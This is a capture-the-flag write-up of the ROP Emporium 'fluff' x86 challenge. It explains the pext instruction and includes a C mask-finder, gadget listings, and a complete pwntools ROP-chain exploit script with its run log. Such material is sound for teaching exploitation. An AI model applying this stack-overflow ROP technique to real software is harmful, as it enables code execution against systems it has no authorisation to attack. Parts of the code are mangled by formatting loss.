Here we are, the reason why I created this website. This challenge from
Ropemporium was
interesting as it required you to reverse engineer the
pext
asm instruction.
Don't worry if you don't know what it is as it's labeled as one of the
craziest
asm instructions out in the wild. However, it's useful for
obfuscation if you know how to utilize it correctly.
I am going to walk you through the x86 binex.
Lets start with checking the file's security mechanisms.
$ file fluff32 ; checksec fluff32 fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6da69ceae0128f63bb7160ba66f9189a126fdd86, not stripped[*] './ropemporium/fluff/32/fluff32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RUNPATH: '.'
We can see that PIE is not enabled and that the NX bit is. The file is not stripped. Let's now find out how and where to write the file using a ROPChain section of the binary.
If you already don't know Ropemporium challenges are for people who want to learn how to do ROPchains hence why I know a ROPChain is needed. If you want to know more about ROPChains you can read the sources I have listed here.
$ readelf -x .data fluff32Hex dump of section '.data': 0x0804a018 00000000 00000000 ........
Great now we know what address to write our exploit to. Let's take a look at it in gdb. I'm using pwngdb and recommend you do the same as it makes gdb easier to work with.
pwndbg> x/16x 0x0804a0180x804a018: 0x00000000 0x00000000 0x00000000 Cannot access memory at address 0x804a024
We can see at address 0x804a018 we have 0xC bytes to work with and "flag.txt" is what we want to write to memory is only 0x8 bytes long, so we don't need to look any further. However, if we did an objdump on the file we could see this is not the intended way.
$ objdump -M intel -d fluff32 080483b0 <pwnme@plt>:80483b0: jmp DWORD PTR ds:0x804a00c80483b6: push 0x080483bb: jmp 80483a0 <.plt>
Above the pwnme namespace of the Procedure Linkage Table is the actual target, but I won't be using this as the .data section start has plenty of room to write the needed string ("flag.txt"). Now that we know where to write our evil string lets figure out a way how! I'll be using ROPgadget to help me out. However, before I get there lets talk about what kind of gadgets we are looking for. In order to write to .data we need a way to pop the string on and off the stack most preferably with the use of registers. So what we want in a perfect world would look like this:
mov eax, "flag"mov WORD PTR [ecx], eaxret <next address to write to .data + 0x4>mov eax, ".txt"mov WORD PTR [ecx], eaxret <function address to call print flag.txt>
Okay lets find our gadgets!
A gadget is a set of assembly instructions that does something useful that allows us to control the order of execution within the binaries memory layout.
$ objdump -M intel -d fluff32 08048543 <questionableGadgets>:8048543: mov eax,ebp8048545: mov ebx,0xb0bababa804854a: pext edx,ebx,eax804854f: mov eax,0xdeadbeef8048554: ret 8048555: xchg BYTE PTR [ecx],dl8048557: ret 8048558: pop ecx8048559: bswap ecx804855b: ret 804855c: xchg ax,ax804855e: xchg ax,ax
Okay this is a good start we have away in the questionableGadgets function to write to memory. Now all we need to do is find a gadget to write evil bytes into ebp before we call the below gadgets.
8048543: mov eax,ebp 8048545: mov ebx,0xb0bababa 804854a: pext edx,ebx,eax 804854f: mov eax,0xdeadbeef 8048554: ret 8048555: xchg BYTE PTR [ecx],dl 8048557: ret
Lets talk about how the above gadgets will write to memory before we continue.
8048543: mov eax,ebp # place a value into eax that will be used as a mask# for the pext instruction at address 0x804854a8048545: mov ebx,0xb0bababa # place a constant mask value into ebx. This value# will be used in combination with the mask value in# eax.804854a: pext edx,ebx,eax# preform a Parallel Bits Extract instruction on the values # within ebx and eax then place the result into edx.804854f: mov eax,0xdeadbeef# clear eax with 0xdeadbeef before returning.8048554: ret # This return address will point to the next gadgets address in the ROPchain.
What is the
Parallel Bits Extract instruction?
If you haven't already please watch this Youtube video clip
on pext by Creel. He does a great job explaining the
instruction with great animations. If you don't want to watch the video the TLDR is that pext takes in two mask
operands and a destination operand and extracts the bits from the second operand that are designated by the third operand with a 1 bit and
places the result in the low part of first operand.
If that sounds confusing take a look below at how we will get our first letter of the payload "f" from the gadgets.
mov eax,ebpmov ebx,0xb0bababa pext edx,ebx,eax"f" == 0x66 :3rd operand - 0100 1111 0100 0101 0111 0101 1010 0100 = 0x4f4575a42nd operand - 1011 0000 1011 1010 1011 1010 1011 1010 - 0xb0bababa1st operand - 0000 0000 0000 0000 0000 0000 0110 0110 - 0x00000066
From the above we can derive a few constants and turn finding the popper mask for each letter into a simple algebra equation x + y = z and write a C program to find the mask for us instead of doing the reminder seven characters by hand.
3rd operand - We will always want the first byte of the pext operation to equal 0000 0000. 2nd operand - Will always be equal to 0xb0bababa1st operand - The least significant byte is all that matters since ASCII characters are what we are dealing with. Constant: 3rd operand - 0100 1111 0100 0101 2nd operand - 1011 0000 1011 1010 1011 1010 1011 1010 - 0xb0bababa1st operand - 0000 0000 0000 0000 0000 0000
Now we know what our equation looks like "x + 0xb0bababa = f" or "x + 0xb0bababa =
//File Name maskFinder.c// NOTE: You will have to compile for your targeted bit mode either 32 or 64bit. // x86 = gcc -m32 -o maskFinder32 maskFinder.c -lm -Wall -g// x86-64 = gcc -o maskFinder32 maskFinder.c -lm -Wall -g //// Example Usage:// ./maskFinder32 0xb0bababa 0x66 #include <stdio.h>#include <math.h>#include <stdlib.h>int main(int argc, char** argv){ if(argc < 3){ // Sanity check printf("Usage: ./maskFinder < constant operand > < end result >\n"); return 1; } // https://linux.die.net/man/3/strtoul // strtoul - read in CLI arguments as hex unsigned int secondOperand = strtoul(argv[1], NULL, 16); // Second operand. unsigned short int endResult = strtoul(argv[2], NULL, 16); // The result we need to get out of the mask. printf("\n %s %#x : %#hx\n\n", secondOperand, endResult); unsigned int maskToBuild = 0; // Start mask at 0 unsigned int k = 1; // k represents what number bit we are on of the destination operand // aka first operand (starts at the Most Significant Bit) unsigned int intBitSize = sizeof(int) * 8; // Dynamically set the size of an int in bits // i = what bit we are on in the second operand for(int i = 1; i < (sizeof(int) * 8); i++){ unsigned int and = pow(2,((sizeof(int) * 8) - i)); unsigned short int andShort = pow(2,((sizeof(short int) * 8) - k)); // If the end result has finished stop the loop // and print out the result the remaining Least Significant // bits of the first operand will be zero. if(andShort == 0){ break; } unsigned int secondOperandCurrentMSBit = and & secondOperand; unsigned short int endResultCurrentMSBit = andShort & endResult; if((secondOperandCurrentMSBit != and) && (endResultCurrentMSBit != andShort)){ maskToBuild += pow(2, intBitSize - i); k++; }else if((secondOperandCurrentMSBit == and) && (endResultCurrentMSBit == andShort)){ maskToBuild += pow(2, intBitSize - i); k++; } printf("i: %d k: %d and: %#x : andShort: %#hx : maskBuild: %#x SOCMSB: %#x ERCMSB %#hx\\n", i, k, and, andShort, maskToBuild, secondOperandCurrentMSBit, endResultCurrentMSBit);// debug statement } printf("\n Mask = %#x \n", maskToBuild); return 0;}
To help you understand how it works here is the the output from the debug print statements
0x66 = 'f'SOCMSB = secondOperandCurrentMSBitERCMSB = endResultCurrentMSBit$ ./pextMaskFinder32 0xb0bababa 0x66 0xb0bababa : 0x66 i: 1 k: 1 and: 0x80000000 : andShort: 0x8000 : maskBuild: 0 SOCMSB: 0x80000000 ERCMSB 0i: 2 k: 2 and: 0x40000000 : andShort: 0x8000 : maskBuild: 0x40000000 SOCMSB: 0 ERCMSB 0i: 3 k: 2 and: 0x20000000 : andShort: 0x4000 : maskBuild: 0x40000000 SOCMSB: 0x20000000 ERCMSB 0i: 4 k: 2 and: 0x10000000 : andShort: 0x4000 : maskBuild: 0x40000000 SOCMSB: 0x10000000 ERCMSB 0i: 5 k: 3 and: 0x8000000 : andShort: 0x4000 : maskBuild: 0x48000000 SOCMSB: 0 ERCMSB 0i: 6 k: 4 and: 0x4000000 : andShort: 0x2000 : maskBuild: 0x4c000000 SOCMSB: 0 ERCMSB 0i: 7 k: 5 and: 0x2000000 : andShort: 0x1000 : maskBuild: 0x4e000000 SOCMSB: 0 ERCMSB 0i: 8 k: 6 and: 0x1000000 : andShort: 0x800 : maskBuild: 0x4f000000 SOCMSB: 0 ERCMSB 0i: 9 k: 6 and: 0x800000 : andShort: 0x400 : maskBuild: 0x4f000000 SOCMSB: 0x800000 ERCMSB 0i: 10 k: 7 and: 0x400000 : andShort: 0x400 : maskBuild: 0x4f400000 SOCMSB: 0 ERCMSB 0i: 11 k: 7 and: 0x200000 : andShort: 0x200 : maskBuild: 0x4f400000 SOCMSB: 0x200000 ERCMSB 0i: 12 k: 7 and: 0x100000 : andShort: 0x200 : maskBuild: 0x4f400000 SOCMSB: 0x100000 ERCMSB 0i: 13 k: 7 and: 0x80000 : andShort: 0x200 : maskBuild: 0x4f400000 SOCMSB: 0x80000 ERCMSB 0i: 14 k: 8 and: 0x40000 : andShort: 0x200 : maskBuild: 0x4f440000 SOCMSB: 0 ERCMSB 0i: 15 k: 8 and: 0x20000 : andShort: 0x100 : maskBuild: 0x4f440000 SOCMSB: 0x20000 ERCMSB 0i: 16 k: 9 and: 0x10000 : andShort: 0x100 : maskBuild: 0x4f450000 SOCMSB: 0 ERCMSB 0i: 17 k: 9 and: 0x8000 : andShort: 0x80 : maskBuild: 0x4f450000 SOCMSB: 0x8000 ERCMSB 0i: 18 k: 10 and: 0x4000 : andShort: 0x80 : maskBuild: 0x4f454000 SOCMSB: 0 ERCMSB 0i: 19 k: 11 and: 0x2000 : andShort: 0x40 : maskBuild: 0x4f456000 SOCMSB: 0x2000 ERCMSB 0x40i: 20 k: 12 and: 0x1000 : andShort: 0x20 : maskBuild: 0x4f457000 SOCMSB: 0x1000 ERCMSB 0x20i: 21 k: 12 and: 0x800 : andShort: 0x10 : maskBuild: 0x4f457000 SOCMSB: 0x800 ERCMSB 0i: 22 k: 13 and: 0x400 : andShort: 0x10 : maskBuild: 0x4f457400 SOCMSB: 0 ERCMSB 0i: 23 k: 13 and: 0x200 : andShort: 0x8 : maskBuild: 0x4f457400 SOCMSB: 0x200 ERCMSB 0i: 24 k: 14 and: 0x100 : andShort: 0x8 : maskBuild: 0x4f457500 SOCMSB: 0 ERCMSB 0i: 25 k: 15 and: 0x80 : andShort: 0x4 : maskBuild: 0x4f457580 SOCMSB: 0x80 ERCMSB 0x4i: 26 k: 15 and: 0x40 : andShort: 0x2 : maskBuild: 0x4f457580 SOCMSB: 0 ERCMSB 0x2i: 27 k: 16 and: 0x20 : andShort: 0x2 : maskBuild: 0x4f4575a0 SOCMSB: 0x20 ERCMSB 0x2i: 28 k: 16 and: 0x10 : andShort: 0x1 : maskBuild: 0x4f4575a0 SOCMSB: 0x10 ERCMSB 0i: 29 k: 16 and: 0x8 : andShort: 0x1 : maskBuild: 0x4f4575a0 SOCMSB: 0x8 ERCMSB 0i: 30 k: 17 and: 0x4 : andShort: 0x1 : maskBuild: 0x4f4575a4 SOCMSB: 0 ERCMSB 0Mask = 0x4f4575a4
Below is what our mask will be inside our pwn tools python script.
mask1 = p32(0x4f4575a4) # f = 0x66 = 0110 0110mask2 = p32(0x4f4576c4) # l = 0x6C = 0110 1100mask3 = p32(0x4f457546) # a = 0x61 = 0110 0001mask4 = p32(0x4f4575b0) # g = 0x67 = 0110 0111mask5 = p32(0x4f4547b4) # . = 0x2E = 0010 1110mask6 = p32(0x4f457f40) # t = 0x74 = 0111 0100mask7 = p32(0x4f457b44) # x = 0x78 = 0111 1000mask8 = p32(0x4f457f40) # t = 0x74 = 0111 0100
NOTE: We still need to find a way to write ecx to the .data section and a way to write our mask to ebp for the pext instruction.
## Finding our way to control ebp and ecx Using ROPgadget we can easily find the gadgets we need to pop are values into the ebp and ecx registers. Unfortunately, there is a caveat with our pop ecx gadget. Its bytes get swap before we can return to our next ROPchain gadget. ```sh $ ROPgadget --binary ./fluff32 Gadgets information ============================================================ 0x080485bb : pop ebp ; ret 0x08048558 : pop ecx ; bswap ecx ; ret ... ... ... Unique gadgets found: 126 ```Let's take a looks at the bswap assembly instruction. "Reverses the byte order of a 32-bit or 64-bit (destination) register. This instruction is provided for converting little-endian values to big-endian format and vice versa. To swap bytes in a word value (16-bit register), use the XCHG instruction." To deal with this we can set pwn tools default endianess for packing bytes to little endian. Then when the bswap happens our bytes will be in the proper order since we will write them as big endian. Now we have all the pieces to the puzzle besides what function to call with "flag.txt" as the argument.
$ objdump -M intel -d ./fluff32 0804852a <usefulFunction>:804852a: push ebp804852b: mov ebp,esp804852d: sub esp,0x88048530: sub esp,0xc8048533: push 0x80485e08048538: call 80483d0 <print_file@plt>804853d: add esp,0x108048540: nop8048541: leave 8048542: ret
Look at that the Ropemporium creator helped us out with the usefulFunction print_file() at address 0x80483d0. We have everything we need now to write our pwntools script and get the flag.
#!/usr/bin/python #File Name: pwn_fluff32.pyfrom pwn import *context.local(endian='little')print_file = p32(0x080483d0) # print_file(.data[0])popEcxBswp = p32(0x08048558) # pop ecx ; bswap ecx ; ret - get the address on data[i] into ecx for writing.writeGadget = p32(0x08048555) # xchg byte ptr [ecx], dl ; ret# NOTE we must write one byte to .data section at a time due to only # having a byte pointer to work with as the writeGadget.# Also, we must pack the bytes as big endian since bswap switches # the endiness of the bytes. https://www.felixcloutier.com/x86/bswap firstWriteAddr = b'\\x08\\x04\\xa0\\x18' # .data[0]secondWriteAddr = b'\\x08\\x04\\xa0\\x19' # .data[1]thirdWriteAddr = b'\\x08\\x04\\xa0\\x1a' # .data[2]fourthWriteAddr = b'\\x08\\x04\\xa0\\x1b' # .data[3]fifthWriteAddr = b'\\x08\\x04\\xa0\\x1c' # .data[4]sixthWriteAddr = b'\\x08\\x04\\xa0\\x1d' # .data[5]seventhWriteAddr = b'\\x08\\x04\\xa0\\x1e' # .data[6]eigthWriteAddr = b'\\x08\\x04\\xa0\\x1f' # .data[7]popEbp = p32(0x080485bb) # pop ebp ; ret callPext = p32(0x08048543) mask1 = p32(0x4f4575a4) # f = 0x66 = 0110 0110mask2 = p32(0x4f4576c4) # l = 0x6C = 0110 1100mask3 = p32(0x4f457546) # a = 0x61 = 0110 0001mask4 = p32(0x4f4575b0) # g = 0x67 = 0110 0111mask5 = p32(0x4f4547b4) # . = 0x2E = 0010 1110mask6 = p32(0x4f457f40) # t = 0x74 = 0111 0100mask7 = p32(0x4f457b44) # x = 0x78 = 0111 1000mask8 = p32(0x4f457f40) # t = 0x74 = 0111 0100p = b'A' * 44 # Padding needed to overflow the stack to start the ROPChain#1. Write to .data[0]# Set dl to mask1p += popEbpp += mask1p += callPext# Set ecx to .data[0]p += popEcxBswpp += firstWriteAddr# Call write gadgetp += writeGadget# Set dl to mask2p += popEbpp += mask2p += callPext# Set ecx to .data[1]p += popEcxBswpp += secondWriteAddr# Call write gadgetp += writeGadget# Set dl to mask3p += popEbpp += mask3p += callPext# Set ecx to .data[2]p += popEcxBswpp += thirdWriteAddr# Call write gadgetp += writeGadget# Set dl to mask4p += popEbpp += mask4p += callPext# Set ecx to .data[3]p += popEcxBswpp += fourthWriteAddr# Call write gadgetp += writeGadget# Set dl to mask5p += popEbpp += mask5p += callPext# Set ecx to .data[4]p += popEcxBswpp += fifthWriteAddr# Call write gadgetp += writeGadget# Set dl to mask6p += popEbpp += mask6p += callPext# Set ecx to .data[5]p += popEcxBswpp += sixthWriteAddr# Call write gadgetp += writeGadget# Set dl to mask7p += popEbpp += mask7p += callPext# Set ecx to .data[6]p += popEcxBswpp += seventhWriteAddr# Call write gadgetp += writeGadget# Set dl to mask8p += popEbpp += mask8p += callPext# Set ecx to .data[7]p += popEcxBswpp += eigthWriteAddr# Call write gadgetp += writeGadget#2. p += print_filep += b'BBBB' // Padding for the ebpp += p32(0x0804a018) # .data[0] // the start of "flag.txt"context.binary = binary = "./fluff32"context.log_level = "debug"proc = process()proc.recv()proc.send(p)proc.interactive()
Let's run the script to see what happens
$ ./pwn_fluff32.py [*] './ropemporium/fluff/32/fluff32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RUNPATH: b'.'[+] Starting local process './fluff32': pid 6676[DEBUG] Received 0x65 bytes: b'fluff by ROP Emporium\n' b'x86\n' b'\n' b'You know changing these strings means I have to rewrite my solutions...\\n' b'> '[DEBUG] Sent 0xf8 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 41 41 41 41 41 41 41 41 41 41 41 41 bb 85 04 08 │AAAA│AAAA│AAAA│····│ 00000030 a4 75 45 4f 43 85 04 08 58 85 04 08 08 04 a0 18 │·uEO│C···│X···│····│ 00000040 55 85 04 08 bb 85 04 08 c4 76 45 4f 43 85 04 08 │U···│····│·vEO│C···│ 00000050 58 85 04 08 08 04 a0 19 55 85 04 08 bb 85 04 08 │X···│····│U···│····│ 00000060 46 75 45 4f 43 85 04 08 58 85 04 08 08 04 a0 1a │FuEO│C···│X···│····│ 00000070 55 85 04 08 bb 85 04 08 b0 75 45 4f 43 85 04 08 │U···│····│·uEO│C···│ 00000080 58 85 04 08 08 04 a0 1b 55 85 04 08 bb 85 04 08 │X···│····│U···│····│ 00000090 b4 47 45 4f 43 85 04 08 58 85 04 08 08 04 a0 1c │·GEO│C···│X···│····│ 000000a0 55 85 04 08 bb 85 04 08 40 7f 45 4f 43 85 04 08 │U···│····│@·EO│C···│ 000000b0 58 85 04 08 08 04 a0 1d 55 85 04 08 bb 85 04 08 │X···│····│U···│····│ 000000c0 44 7b 45 4f 43 85 04 08 58 85 04 08 08 04 a0 1e │D{EO│C···│X···│····│ 000000d0 55 85 04 08 bb 85 04 08 40 7f 45 4f 43 85 04 08 │U···│····│@·EO│C···│ 000000e0 58 85 04 08 08 04 a0 1f 55 85 04 08 d0 83 04 08 │X···│····│U···│····│ 000000f0 42 42 42 42 18 a0 04 08 │BBBB│····│ 000000f8[*] Switching to interactive mode[DEBUG] Received 0x2c bytes: b'Thank you!\\n' b'ROPE{a_placeholder_32byte_flag!}\n'Thank you!ROPE{a_placeholder_32byte_flag!}[*] Got EOF while reading in interactive$
And we got the flag!!! Overall this was a very satisfying binary to exploit. In the future I will be writing the write-ups as I do the challenges instead of making a website to talk about them. Thank you for reading!